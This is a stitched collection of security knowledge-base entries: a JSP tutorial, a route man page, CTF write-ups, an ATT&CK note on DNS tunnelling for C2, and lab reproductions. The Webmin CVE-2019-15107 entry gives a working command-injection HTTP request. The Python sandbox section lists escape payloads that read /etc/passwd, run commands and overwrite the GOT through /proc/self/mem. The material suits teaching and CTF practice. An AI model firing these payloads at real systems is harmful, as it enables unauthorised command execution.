--- ## JSP 案例 Servlet 就是一个能处理 HTTP 请求,发送 HTTP 响应的小程序,而发送响应无非就是获取 PrintWriter,然后输出 HTML: ``` PrintWriter pw = resp.getWriter(); pw.write("<html>"); pw.write("<body>"); pw.write("<h1>Welcome, " + name + "!</h1>"); pw.write("</body>"); pw.write("</html>"); pw.flush(); ``` 只不过,用 PrintWriter 输出 HTML 比较痛苦,因为不但要正确编写 HTML,还需要插入各种变量。如果想在 Servlet 中输出一个类似新浪首页的 HTML,写对 HTML 基本上不太可能。 JSP 是 Java Server Pages 的缩写,它的文件必须放到 `/src/main/webapp` 下,文件名必须以. jsp 结尾,整个文件与 HTML 并无太大区别,但需要插入变量,或者动态输出的地方,使用特殊指令 `<% ... %>`。 我们来编写一个 hello.jsp,内容如下: ```java <html> <head> <title>Hello World - JSP</title> </head> <body> <%-- JSP Comment --%> <h1>Hello World!</h1> <p> <% out.println("Your IP address is "); %> <span style="color:red"> <%= request.getRemoteAddr() %> </span> </p> </body> </html> ``` 整个 JSP 的内容实际上是一个 HTML,但是稍有不同: 包含在 `<%--` 和 `--%>` 之间的是 JSP 的注释,它们会被完全忽略; 包含在 `<%` 和 `%>` 之间的是 Java 代码,可以编写任意 Java 代码; 如果使用 `<%= xxx %>` 则可以快捷输出一个变量的值。 JSP 页面内置了几个变量: * out:表示 HttpServletResponse 的 PrintWriter; * session:表示当前 HttpSession 对象; * request:表示 HttpServletRequest 对象。 这几个变量可以直接使用。 访问 JSP 页面时,直接指定完整路径。例如,http://localhost:8080/hello.jsp,浏览器显示如下: JSP 和 Servlet 有什么区别?其实它们没有任何区别,因为 JSP 在执行前首先被编译成一个 Servlet。在 Tomcat 的临时目录下,可以找到一个 hello_jsp.java 的源文件,这个文件就是 Tomcat 把 JSP 自动转换成的 Servlet 源码 可见 JSP 本质上就是一个 Servlet,只不过无需配置映射路径,Web Server 会根据路径查找对应的 .jsp 文件,如果找到了,就自动编译成 Servlet 再执行。在服务器运行过程中,如果修改了 JSP 的内容,那么服务器会自动重新编译。 --- ## JSP 高级功能 JSP 的指令非常复杂,除了 <% ... %> 外,JSP 页面本身可以通过 page 指令引入 Java 类: ```java <%@ page import="java.io.*" %> <%@ page import="java.util.*" %> ``` 这样后续的 Java 代码才能引用简单类名而不是完整类名。 使用 include 指令可以引入另一个 JSP 文件: ```java <html> <body> <%@ include file="header.jsp"%> <h1>Index Page</h1> <%@ include file="footer.jsp"%> </body> ``` **Jsp 的定义格式:** 1. `<% 代码 %>`:定义的 java 代码,在 service 方法中。service 方法中可以定义什么,该脚本中就可以定义什么。 2. `<%! 代码 %>`:定义的 java 代码,在 jsp 转换后的 java 类的成员位置。 3. `<%= 代码 %>`:定义的 java 代码,会输出到页面上。输出语句中可以定义什么,该脚本中就可以定义什么。 ``` <%@ 指令名称 属性名1=属性值1 属性名2=属性值2 ... %> ``` **Jsp 指令:** 1. page :配置 JSP 页面的 * contentType:等同于 `response.setContentType()` 1. 设置响应体的 mime 类型以及字符集 2. 设置当前 jsp 页面的编码(只能是高级的 IDE 才能生效,如果使用低级工具,则需要设置 pageEncoding 属性设置当前页面的字符集) * import:导包 * errorPage:当前页面发生异常后,会自动跳转到指定的错误页面 * isErrorPage:标识当前也是是否是错误页面。 * true:是,可以使用内置对象 exception * false:否。默认值。不可以使用内置对象 exception 2. include :页面包含的。导入页面的资源文件 * `<%@include file="top.jsp"%>` 3. taglib :导入资源 * `<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>` * prefix:前缀,自定义的 --- ## JSP Tag JSP 还允许自定义输出的 tag,例如: ```java <c:out value = "${sessionScope.user.name}"/> ``` JSP Tag 需要正确引入 taglib 的 jar 包,并且还需要正确声明,使用起来非常复杂,对于页面开发来说,不推荐使用 JSP Tag,因为我们后续会介绍更简单的模板引擎,这里我们不再介绍如何使用 taglib。 --- ## Source & Reference - https://www.liaoxuefeng.com/wiki/1252599548343744/1266262958498784 - https://www.cnblogs.com/nice0e3/p/13544145.html
sec-knowleage
# Webmin 远程命令执行漏洞(CVE-2019-15107) Webmin是一个用于管理类Unix系统的管理配置工具,具有Web页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。 参考链接: - https://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html - https://www.exploit-db.com/exploits/47230 - https://blog.firosolutions.com/exploits/webmin/ ## 环境搭建 执行如下命令,启动webmin 1.910: ``` docker compose up -d ``` 执行完成后,访问`https://your-ip:10000`,忽略证书后即可看到webmin的登录页面。 ## 漏洞复现 参考链接中的数据包是不对的,经过阅读代码可知,只有在发送的user参数的值不是已知Linux用户的情况下(而参考链接中是`user=root`),才会进入到修改`/etc/shadow`的地方,触发命令注入漏洞。 发送如下数据包,即可执行命令`id`: ``` POST /password_change.cgi HTTP/1.1 Host: your-ip:10000 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Cookie: redirect=1; testing=1; sid=x; sessiontest=1 Referer: https://your-ip:10000/session_login.cgi Content-Type: application/x-www-form-urlencoded Content-Length: 60 user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2 ``` ![](1.png)
sec-knowleage
.TH ROUTE 8 "2 January 2000" "net-tools" "Linux Programmer's Manual" .SH NAME .B route - 显示 / 操作IP选路表 .SH 总览 SYNOPSIS \fBroute\fR [-CFvnee] \fBroute\fR [-v] [-A family] add [-net|-host] target [netmask Nm] [gw Gw] [metric N] [mss M] [window W] [irtt I][reject] [mod] [dyn] [reinstate] [[dev] If] \fBroute\fR [-v] [-A family] del [-net|-host] target [gw Gw][netmask Nm] [metric N] [[dev] If] \fBroute\fR [-V] [--version] [-h] [--help] .SH 描述 DESCRIPTION route程序对内核的IP选路表进行操作。它主要用于通过已用ifconfig(8)程序配置好的接口来指定的主机或网络设置静态路由。 .SH 选项 OPTIONS .TP -v 选用细节操作模式 .TP -A family 用指定的地址族(如`inet',`inet6')。 .TP -n 以数字形式代替解释主机名形式来显示地址。此项对试图检测对域名服务器进行路由发生故障的原因非常有用。 .TP -e 用netstat(8)的格式来显示选路表。-ee将产生包括选路表所有参数在内的大量信息。 .TP -net 路由目标为网络。 .TP -host 路由目标为主机。 .TP -F 显示内核的FIB选路表。其格式可以用-e 和 -ee选项改变。 .TP -C 显示内核的路由缓存。 .TP del 删除一条路由。 .TP add 添加一条路由。 .TP target 指定目标网络或主机。可以用点分十进制形式的IP地址或主机/网络名。 .TP netmask Nm 为添加的路由指定网络掩码。 .TP gw Gw 为发往目标网络/主机的任何分组指定网关。注意:指定的网关首先必须是可达的。也就是说必须为该网关预先指定一条静态路由。如果你为本地接口之一指定这个网关地址的话,那么此网关地址将用于决定此接口上的分组将如何进行路由。这是BSD风格所兼容的。 .TP metric M 把选路表中的路由值字段(由选路进程使用)设为M。 .TP mss M 把基于此路由之上的连接的TCP最大报文段长度设为M字节。这通常只用于优化选路设置。默认值为536。 .TP window W 把基于此路由之上的连接的TCP窗口长度设为W字节。这通常只用于AX.25网络和不能处理背对背形式的帧的设备。 .TP irtt I 把基于此路由之上的TCP连接的初始往返时间设为I毫秒(1-12000)。这通常也只用于AX.25网络。如果省略此选项,则使用RFC1122的缺省值300ms。 .TP reject 设置一条阻塞路由以使一条路由查找失败。这用于在使用缺省路由前先屏蔽掉一些网络。但这并不起到防火墙的作用。 .TP mod, dyn, reinstate 设置一条动态的或更改过的路由。这些标志通常只由选路进程来设置。这只用于诊断目的, .TP dev If 强制使路由与指定的设备关联,因为否则内核会自己来试图检测相应的设备(通常检查已存在的路由和加入路由的设备的规格)。在多数正常的网络上无需使用。 如果dev If是命令行上最后一个指定的选项,那么可以省略关键字dev,因为它是缺省值。否则路由修改对象(metric - netmask- gw - dev)无关紧要。 .SH 范例 EXAMPLES .TP route add -net 127.0.0.0 加入正常的环回接口项,它使用掩码255.0.0.0(由目标地址决定了它是A类网络)并与设备"lo"相关联(假定该设备先前已由ifconfig(8)正确设置)。 .TP route add -net 192.56.76.0 netmask 255.255.255.0 dev eth0 向"eth0"添加一条指向网络192.56.76.x的路由。其中的C类子网掩码并不必须,因为192.*是个C类的IP地址。在此关键字"dev"可省略。 .TP route add default gw mango-gw 加入一条缺省路由(如果无法匹配其它路由则用它)。使用此路由的所有分组将通过网关"mango-gw"进行传输。实际使用此路由的设备取决于如何到达"mango-gw" - 先前必须设好到"mango-gw"的静态路由。 .TP route add ipx4 sl0 向SLIP接口添加一条指向"ipx4"的路由(假定"ipx4"是使用SLIP的主机)。 .TP route add -net 192.57.66.0 netmask 255.255.255.0 gw ipx4 此命令为先前SLIP接口的网关ipx4添加到网络"192.57.66.x"的路由。 .TP route add 224.0.0.0 netmask 240.0.0.0 dev eth0 此命令为"eth0"设定所有D类地址(用于组播)的路由。这是用于组播内核的正确配置行。 .TP route add 10.0.0.0 netmask 255.0.0.0 reject 此命令为私有网络"10.x.x.x."设置一条阻塞路由。 .SH 输出信息 OUTPUT 内核选路表的输出信息由以下栏目组成: .TP Destination 目标网络或目标主机。 .TP Gateway 网关地址或'*'(如未设)。 .TP Genmask 目标网络的子网掩码;'255.255.255.255'为主机,'0.0.0.0'为缺省路由。 .TP Flags 可能出现的标志有: .br U (route is up) 路由正常 .br H (target is a host) 主机路由 .br G (use gateway) 使用网关的间接路由 .br R (reinstate route for dynamic routing) 为动态选路恢复路由 .br D (dynamically installed by daemon or redirect) 该路由由选路进程或重定向动态创建 .br M (modified from routing daemon or rederict) 该路由已由选路进程或重定向修改 .br ! (reject route) 阻塞路由 .TP Metric 通向目标的距离(通常以跳来计算)。新内核不使用此概念,而选路进程可能会用。 .TP Ref 使用此路由的活动进程个数(Linux内核并不使用)。 .TP Use 查找此路由的次数。根据-F 和 -C的使用,此数值是路由缓存的损失数或采样数。 .TP Iface 使用此路由发送分组的接口。 .TP MSS 基于此路由的TCP连接的缺省最大报文段长度。 .TP Window 基于此路由的TCP连接的缺省窗口长度。 .TP irtt 初始往返时间。内核用它来猜测最佳TCP协议参数而无须等待(可能很慢的)应答。 .TP HH (cached only) 为缓存过的路由而访问硬件报头缓存的ARP记录和缓存路由的数量。如果缓存过路由的接口(如lo)无须硬件地址则值为-1。 .TP Arp (cached only) 无论缓存路由所用的硬件地址情况如何都进行更新。 .SH 文件 FILES .B /proc/net/ipv6_route .br .B /proc/net/route .br .B /proc/net/rt_cache .br .SH 参见SEE ALSO .B ifconfig(8), netstat(8), arp(8), rarp(8) .SH 历史 HISTORY Linux所用的route程序最初由Fred N. van Kempen <[email protected]>开发,并由Johannes Stille 和Linus Torvalds对pl15进行修改。Alan Cox为Linux 1.1.22加入了mss 和 window选项。对irtt的支持和与netstat的合并来自BerndEckenfels的工作。 .SH 作者 AUTHOR 当前由Phil Blundell <[email protected]>维护。 .SH "[中文版维护人]" .B meaculpa <[email protected]> .SH "[中文版最新更新]" .B 2001/02/24 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Python 沙盒 所谓的 Python 沙盒,即以一定的方法模拟 Python 终端,实现用户对 Python 的使用。 ## Python 沙箱逃逸的一些方法 我们通常所说的 Python 沙箱逃逸就是绕过模拟的 Python 终端,最终实现命令执行。 ### 导入模块 在 Python 的内建函数中,有一些函数可以帮助我们实现任意命令执行: ``` os.system() os.popen() commands.getstatusoutput() commands.getoutput() commands.getstatus() subprocess.call(command, shell=True) subprocess.Popen(command, shell=True) pty.spawn() ``` 在 Python 中导入模块的方法通常有三种(xxx 为模块名称): 1. `import xxx` 2. `from xxx import *` 3. `__import__('xxx')` 我们可以通过上述的导入方法,导入相关模块并使用上述的函数实现命令执行。 除此之外,我们也可以**通过路径引入模块**: 如在 linux 系统中 Python 的 os 模块的路径一般都是在 `/usr/lib/python2.7/os.py`,当知道路径的时候,我们就可以通过如下的操作导入模块,然后进一步使用相关函数。 ```py >>> import sys >>> sys.modules['os']='/usr/lib/python2.7/os.py' >>> import os >>> ``` **其他的危险函数举例** 如 **execfile** 文件执行 ```py >>> execfile('/usr/lib/python2.7/os.py') >>> system('cat /etc/passwd') root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin ... >>> getcwd() '/usr/lib/python2.7' ``` **timeit** ```py import timeit timeit.timeit("__import__('os').system('dir')",number=1) ``` ** exec 和 eval 比较经典了** ```py eval('__import__("os").system("dir")') ``` **platform** ```py import platform print platform.popen('dir').read() ``` 但是,正常的 Python 沙箱会以黑名单的形式禁止使用一些模块如 os 或以白名单的形式只允许用户使用沙箱提供的模块,用以阻止用户的危险操作。而如何进一步逃逸沙箱就是我们的重点研究内容。 ### Python 的内建函数 当我们不能导入模块,或者想要导入的模块被禁,那么我们只能寻求 Python 本身内置函数(即通常不用人为导入,Python 本身默认已经导入的函数)。我们可以通过可以通过 `dir __builtin__` 来获取内置函数列表 ```python >>> dir(__builtins__) ['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip'] ``` 在 Python 中,不引入直接使用的内置函数被成为 **builtin** 函数,随着 **__builtin__** 这个模块自动引入到环境中。那么我们如何引入的模块呢?我们可以通过 **__dict__** 引入我们想要引入的模块。**__dict__** 的作用是列出一个模组/类/对象 下面 所有的属性和函数。这在沙盒逃逸中是很有用的,可以找到隐藏在其中的一些东西 **__dict__**能做什么呢? 我们知道,一个模块对象有一个由字典对象实现的命名空间,属性的引用会被转换为这个字典中的查找,例如,m.x 等同于 m.dict["x"]。 绕过实例: 首先通过 base64 绕过字符明文检测 ```python >>> import base64 >>> base64.b64encode('__import__') 'X19pbXBvcnRfXw==' >>> base64.b64encode('os') 'b3M=' ``` 然后通过 **__dict__** 引用 ```py >>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')) ``` *如果一些 内敛函数在 __builtins__ 删除 ,我们可以通过 reload(__builtins__) 重新载入获取一个完整的 __builtins__* ### 创建对象以及引用 Python 的 object 类中集成了很多的基础函数,我们想要调用的时候也是可以通过创建对象进而引用。 我们有常见的两个方法: ```bash ().__class__.__bases__[0] ''.__class__.__mro__[2] ``` 如,我们可通过 `print ().__class__.__bases__[0].__subclasses__()[40]("/etc/services").read()`达到文件读取的效果, **常见payload** ```py #读文件 ().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read() #写文件 ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123') #执行任意命令 ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' ) ``` ### 间接引用 在有些题目中,如这次的2018年国赛的 Python 沙盒题目上,import 其实整个是被阉割了。但是在 Python 中,原生的 **__import__** 是存在被引用的,只要我们找到相关对象引用就可以进一步获取我们想要的内容,具体下面的demo会讲述到 ### write修改got表 实际上是一个 **/proc/self/mem** 的内存操作方法 **/proc/self/mem** 是内存镜像,能够通过它来读写到进程的所有内存,包括可执行代码,如果我们能获取到Python一些函数的偏移,如 **system** ,我们便可以通过覆写 got 表达到 getshell的目的。 ```py (lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0)) ``` 第一个地址是 system 的偏移,第二个是fopen的偏移,我们可以通过 **objdump** 获取相关信息 ## 例子 2018 ciscn 全国大学生信息安全竞赛中的 Python 沙箱逃逸。 我们可以通过`print ().__class__.__bases__[0].__subclasses__()[40]("/home/ctf/sandbox.py").read()` 获取题目源码,然后可以进一步分析,以下提供三种逃逸方法。 ### 创建对象并利用 Python 操作字符串的特性 ```py x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__ x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s') x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s /home/ctf') x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ca'+'t /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb') ``` ### 劫持 got 表 getshell ```py (lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('l'+'s /home/ctf/'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0)) (lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0)) ``` ### 寻找 __import__ 的间接引用 在不断的 dir 过程中,发现 __closure__ 这个 object 保存了参数,可以引用原生的 __import__ ```py print __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('l'+'s home') ``` ## 参考 https://xz.aliyun.com/t/52#toc-10 https://blog.csdn.net/qq_35078631/article/details/78504415 https://www.anquanke.com/post/id/85571 http://bestwing.me/2018/05/03/awesome-python-sandbox-in-ciscn/#0x01
sec-knowleage
# assembly-0 Reversing, 150 points ## Description: > What does asm0(0xaa,0xf2) return? Submit the flag as a hexadecimal value (starting with '0x'). ```assembly .intel_syntax noprefix .bits 32 .global asm0 asm0: push ebp mov ebp,esp mov eax,DWORD PTR [ebp+0x8] mov ebx,DWORD PTR [ebp+0xc] mov eax,ebx mov esp,ebp pop ebp ret ``` ## Solution: This is how the stack looks after performing the `mov ebp,esp` command: ``` +---------+ | old ebp | <-- ebp +---------+ | ret | <-- ebp + 0x4 +---------+ | 0xaa | <-- ebp + 0x8 +---------+ | 0xf2 | <-- ebp + 0xc +---------+ ``` What happens later is: ```assembly mov eax,DWORD PTR [ebp+0x8] ; eax = 0xaa mov ebx,DWORD PTR [ebp+0xc] ; ebx = 0xf2 mov eax,ebx ; eax = ebx, i.e. eax = 0xf2 mov esp,ebp ; teardown frame... pop ebp ret ``` So the function's return value is 0xf2.
sec-knowleage
# T1583-002-购买基础设施-DNS服务 ## 来自ATT&CK的描述 攻击者可能会建立他们自己的域名系统(DNS)服务器,可以在攻击目标期间使用。在破坏后的活动中,攻击者可以利用DNS流量进行各种任务,包括指挥和控制(例如:应用层协议)。与其劫持现有的DNS服务器,攻击者可能会选择配置和使用自己的DNS服务器来支持渗透行动。 通过使用自己的DNS服务器,攻击者可以更好的控制和管理他们的服务器端的DNS C2流量。通过对DNS服务器的控制,攻击者可以配置DNS应用程序,为恶意软件提供有条件的响应,一般来说,在基于DNS的C2通道,在结构上有更大的灵活性。 ## 测试案例 ### DNS Tunneling DNS Tunneling是隐蔽通道的一种,通过将其他协议封装在DNS协议中传输。因为在互联网中DNS是一个必不可少的服务,所以大部分防火墙和入侵检测设备很少会对DNS流量进行过滤,由此DNS作为隐蔽信道有天生优势。 #### 原理 DNS Tunneling可以分为直连和中继两种。 直连:client直接和指定的目标DNS Server(Authoritative NS Server)连接,通过将数据编码封装在DNS协议中进行通信。这种方式速度快,但是隐蔽性较弱,容易被探测到,且存在的限制比较多,很多场景不允许自己指定DNS Server。 中继:通过迭代DNS查询可以实现中继通道,更为隐蔽,但同时因为数据包到达目标DNS Server前需要经过多个节点,所以速度上较慢,但是可以突破防火墙等的限制。 ### DNS隧道工具 使用DNS over HTTPS(DoH)构建弹性C2基础架构:<https://xz.aliyun.com/t/3068> ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 ### 缓解措施 这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。 ### 检测 这种活动大多发生在防御团队(组织)的能见度之外,使得对这种行为的检测变得困难。检测工作可能集中在攻击生命周期的相关阶段,如在指挥和控制期间。 ## 参考推荐 MITRE-ATT&CK-T1583-002 <https://attack.mitre.org/techniques/T1583/002/> 使用DNS over HTTPS(DoH)构建弹性C2基础架构 <https://xz.aliyun.com/t/3068>
sec-knowleage
## Math aside, we're all black hats Now(trivia, 10p, 551 solves) `This Pentesting expert supplied HBO's Silicon Valley with technical advice in season 2. The flag is his twitter handle.` ### PL Version `for ENG version scroll down` Zadanie polegało na znalezieniu loginu na twitterze pentestera który pracował jako doradca przy 2 sezonie serialu Silicon Valley. Chwila googlowania pozwala dowiedzieć się że jest to `Rob Fuller` więc flaga to `mubix` ### ENG Version The task was to find a twitter handle of a real pentester who was advising Silicon Valley cast for the second season of the show. A little googling was needed to find that it was `Rob Fuller` and thus the flag is `mubix`
sec-knowleage
# Time's Up, Again! Reverse Engineering, 450 points ## Description: > Previously you solved things fast. Now you've got to go faster. Much faster. Can you solve *this one* before time runs out? ## Solution: This is the follow-up for [Time's Up](Times_Up.md). Let's run the attached file: ```console root@kali:/media/sf_CTFs/pico/Times_Up_Again# ./times-up-again Challenge: (((((1735039958) * (-243100254)) * ((-1814728608) + (-721614403))) - (((25798291) + (1566207868)) - ((1371345736) - (328354048)))) + ((((-574011032) - (-976943047)) + ((1078373531) + (-764373806))) * ((((151190841) - (-1982829483)) - ((-1990831043) - (440995030))) - (((-1753759716) + (-1201408286)) * ((656319610) * (143280253)))))) Setting alarm... Solution? Alarm clock ``` We got a mathematical expression, and shortly after, the program got killed by an alarm. How long is the alarm? Let's use `strace` to see: ```console root@kali:/media/sf_CTFs/pico/Times_Up_Again# strace ./times-up-again 2>&1 | grep setitimer setitimer(ITIMER_REAL, {it_interval={tv_sec=0, tv_usec=0}, it_value={tv_sec=0, tv_usec=200}}, {it_interval={tv_sec=0, tv_usec=0}, it_value={tv_sec=0, tv_usec=0}}) = 0 ``` We can see that the alarm is set for 200 uSeconds - much sorter than the last time. In this time, we must evaluate the equation and input the answer back to the program. We won't have time to call `bc` to evaluate the expression this time, we'll have to choose a faster approach: A `C` program. The standard approach for communicating with a program's `stdin` and `stdout` in `C` is via pipes: We implement a wrapping program which `fork`s itself - the child then executes the program we want to communicate with and the parent is able to read the child's `stdout` and write to its `stdin`. I used a template based on [this article](https://jameshfisher.com/2017/02/17/how-do-i-call-a-program-in-c-with-pipes/) to setup the pipes which are used for communication. [This StackOverflow Answer](https://stackoverflow.com/questions/9329406/evaluating-arithmetic-expressions-from-string-in-c) offered a suitable lightweight implementation of expression evaluation, and only minor changes were needed (support spaces in the expression, use `int64_t` instead of `int`). Here's the `C` program: ```c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <signal.h> #include <stdint.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/prctl.h> // ---------------------------------------------------------------------------------------------------------- //https://stackoverflow.com/questions/9329406/evaluating-arithmetic-expressions-from-string-in-c const char* g_expr_to_parse = NULL; char peek() { while(*g_expr_to_parse == ' ') { g_expr_to_parse++; } return *g_expr_to_parse; } char get() { while(*g_expr_to_parse == ' ') { g_expr_to_parse++; } return *g_expr_to_parse++; } int64_t expression(); int64_t number() { int64_t result = get() - '0'; while (peek() >= '0' && peek() <= '9') { result = 10 * result + get() - '0'; } return result; } int64_t factor() { if (peek() >= '0' && peek() <= '9') return number(); else if (peek() == '(') { get(); // '(' int64_t result = expression(); get(); // ')' return result; } else if (peek() == '-') { get(); return -factor(); } perror("factoring error"); exit(EXIT_FAILURE); } int64_t term() { int64_t result = factor(); while (peek() == '*' || peek() == '/') if (get() == '*') result *= factor(); else result /= factor(); return result; } int64_t expression() { int64_t result = term(); while (peek() == '+' || peek() == '-') if (get() == '+') result += term(); else result -= term(); return result; } int64_t parse_expression(const char* p_expr) { g_expr_to_parse = p_expr; return expression(); } // ---------------------------------------------------------------------------------------------------------- #define PIPE_READ 0 #define PIPE_WRITE 1 struct subprocess { pid_t pid; int stdin; int stdout; int stderr; }; void close_fd(int fd) { if (close(fd) == -1) { perror("Could not close pipe end" ); exit(EXIT_FAILURE); } } void mk_pipe(int fds[2]) { if (pipe(fds) == -1) { perror("Could not create pipe"); exit(EXIT_FAILURE); } } void mv_fd(int fd1, int fd2) { if (dup2(fd1, fd2) == -1) { perror("Could not duplicate pipe end"); exit(EXIT_FAILURE); } close_fd(fd1); } // Start program at argv[0] with arguments argv. // Set up new stdin, stdout and stderr. // Puts references to new process and pipes into `p`. // https://jameshfisher.com/2017/02/17/how-do-i-call-a-program-in-c-with-pipes/ void call(char* argv[], struct subprocess* p) { int child_in[2] = {-1, -1}; // Parent to child int child_out[2] = {-1, -1}; ; // Child to Parent int child_err[2] = {-1, -1}; ; // Child to Parent mk_pipe(child_in); mk_pipe(child_out); mk_pipe(child_err); pid_t child_pid = fork(); if (child_pid == -1) { perror("Could not fork"); exit(EXIT_FAILURE); } else if (child_pid == 0) { // // Child // // Close parent pipes close_fd(STDIN_FILENO); close_fd(STDOUT_FILENO); close_fd(STDERR_FILENO); // Close unused child pipe ends close_fd(child_in[PIPE_WRITE]); close_fd(child_out[PIPE_READ]); close_fd(child_err[PIPE_READ]); mv_fd(child_in[PIPE_READ], STDIN_FILENO); mv_fd(child_out[PIPE_WRITE], STDOUT_FILENO); mv_fd(child_err[PIPE_WRITE], STDERR_FILENO); // Kill child if parent dies prctl(PR_SET_PDEATHSIG, SIGTERM); char* envp[] = { NULL }; execve(argv[0], argv, envp); // Shouldn't get here perror("Child Error"); } else { // // Parent // // unused child pipe ends close_fd(child_in[PIPE_READ]); close_fd(child_out[PIPE_WRITE]); close_fd(child_err[PIPE_WRITE]); p->pid = child_pid; p->stdin = child_in[PIPE_WRITE]; // Parent wants to write to subprocess child_in p->stdout = child_out[PIPE_READ]; // Parent wants to read from subprocess child_out p->stderr = child_err[PIPE_READ]; // Parent wants to read from subprocess child_err } } // ---------------------------------------------------------------------------------------------------------- #define BUFFER_LENGTH 512 int main(int argc, char* argv[]) { struct subprocess proc; ssize_t nbytes; char* newline_location = NULL; size_t write_len; int status; int64_t result; int total_bytes_read = 0; // Printing takes time // Instead of reusing the same buffer, we have three different buffers, // allowing us to print the full details at the end char expr_buffer[BUFFER_LENGTH] = {0}; char res_buffer[BUFFER_LENGTH] = {0}; char buffer[BUFFER_LENGTH] = {0}; size_t skip_len = sizeof("Challenge: ") - 1; char* child_argv[] = {"./times-up-again", NULL}; // Fork child process call(child_argv, &proc); // Read expression from child STDOUT nbytes = read(proc.stdout, expr_buffer, sizeof(expr_buffer) - 1); if (nbytes < 0) { perror("Could not read from child stdout"); exit(EXIT_FAILURE); } expr_buffer[nbytes] = '\0'; // Format expression so that parse_expression() will accept it newline_location = strchr(expr_buffer, '\n'); if (newline_location == NULL) { perror("Could not find newline"); exit(EXIT_FAILURE); } *newline_location = '\0'; // Evaluate expression result = parse_expression(&expr_buffer[skip_len]); write_len = snprintf(res_buffer, sizeof(res_buffer), "%ld\n", result); if ( (write_len < 0) || (write_len >= sizeof(res_buffer)) ) { perror("Could not sprintf result"); exit(EXIT_FAILURE); } // Write answer back to the child processes' STDIN nbytes = write(proc.stdin, res_buffer, write_len); if (nbytes != write_len) { perror("Could not write to stdin"); exit(EXIT_FAILURE); } // Read all output from child process STDOUT while ((nbytes = read(proc.stdout, buffer + total_bytes_read, sizeof(buffer) - total_bytes_read - 1)) > 0) { total_bytes_read += nbytes; } buffer[total_bytes_read] = '\0'; // Print details printf("Expression: %s\n", &expr_buffer[skip_len]); printf("Result: %s\n", res_buffer); printf("%s", buffer); // Cleanup and wait for child to exit 